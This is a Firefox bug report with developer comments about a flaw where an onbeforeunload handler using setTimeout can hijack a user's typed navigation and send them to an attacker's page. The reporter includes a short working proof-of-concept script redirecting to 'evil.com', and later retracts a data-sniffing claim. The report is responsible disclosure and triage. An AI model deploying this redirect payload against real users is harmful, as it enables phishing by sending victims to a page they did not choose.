1290834 - onbeforeunload allows attacker to hijack page load

Status: RESOLVED DUPLICATE of bug 1263100

(Core :: DOM: Navigation, defect)

Description

[Skansing]

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36

Steps to reproduce:

Visit http://159.203.190.123/moz/unloadhijack.tml in firefox and follow the instructions

OR

- Make a page with the following script

<p>Change the url</p>
<script>

window.onbeforeunload = function()
{
  setTimeout(function() {
      window.document.writeln('<script>window.location.href = "//evil.com";<\/script>');

  }, 0);

  return "quux";
};
</script>

- Open the page
- Change the url to facbook.com in the address bar 






Actual results:

Firefox opens evil.com instead of the expected facebook.com


Expected results:

Victim should have opened facebook.com or been notificed that their intended navigation has been canceled.

The culprint is that adding a timeout to a unbeforeload event allows use of some methods that would not / should not be possible in the event.

In this case the attacker is able to write and execute scripts in window context before handling the loading of the new page.

This allows attackers to
- Snoop on users before they exit the page (forward sniffing)
- Phishing attacks
- Degrading from https to http on site which allow both.
- etc


Bonus: a setTimeout event inside a unbeforeload also allows the attacker to do alert dialogs after the user has confirmed to load the new page. 


I tested this on 
- Firefox 47 on Ubuntu 16.04
- Firefox 47.0.1 on Windows 8

Comment 1

[Skansing]

For the forward sniffing, I should mention that, whatever the victim enters in the url, the attacker can access it inside the setTimeout (inside the onbeforeunload). A quick repo can done by adding alert(document.domain) inside the setTimeout callback, it should flash quickly with the url enter.

Comment 2

[Skansing]

Actually, ignore the forward sniffing, cant reproduce that anymore.

Comment 3

[Andrew McCreight [:mccr8]]

Olli, is this expected behavior? Is this a possible security issue we should fix?

Comment 4

[Daniel Veditz [:dveditz]]

we do seem to prevent direct navigation in the onbeforeunload so this works around it (should check onunload too). Safari seems to have the same behavior we do (end up on example.com instead of the site you pick). Chrome initially loads example.com and then quickly replaces it with the site you entered into the location bar. Didn't play with the timeout value to see if a longer one would simply get canceled or if it would race with and replace the selected site.

Was not able to reproduce the more serious "forward sniffing" claim but I only spent a couple of minutes poking at this. Needs more investigation (or a PoC from the reporter)

Comment 5

[Skansing]

The forward sniffing was a false positive from me, I have to reproduce it without any success.

Comment 6

[Skansing]

*I have tried to reproduce it, without any success. So I am quite sure it was just me mistaken origins while testing.

Comment 7

[Daniel Veditz [:dveditz]]

Unhiding because the result doesn't seem terrible (user will end up hijacked, but should notice it's not the place they typed in).

Comment 8

[Marco Castelluccio [:marco]]

They might not notice if the page is disguised as another popular website and they're trying to navigate to that website.

Comment 9

[:Gijs (he/him)]

Feels like we should already have this on file somewhere, but maybe I'm wrong...

IIRC we set a flag when beforeunload fires and isn't cancelled, so maybe we should just deny navigation after that, full stop?

Comment 10

[Skansing]

I think the point was that this opens for phishing attack where the victim can not trust the url they just entered in the url.

I am not sure its great to have open?

Comment 11

[:Gijs (he/him)]

Dupe of bug 839470 and/or bug 1263100 ?

Comment 12

[Andrew Overholt [:overholt]]

Let's go with bug 1263100 (we can always reverse).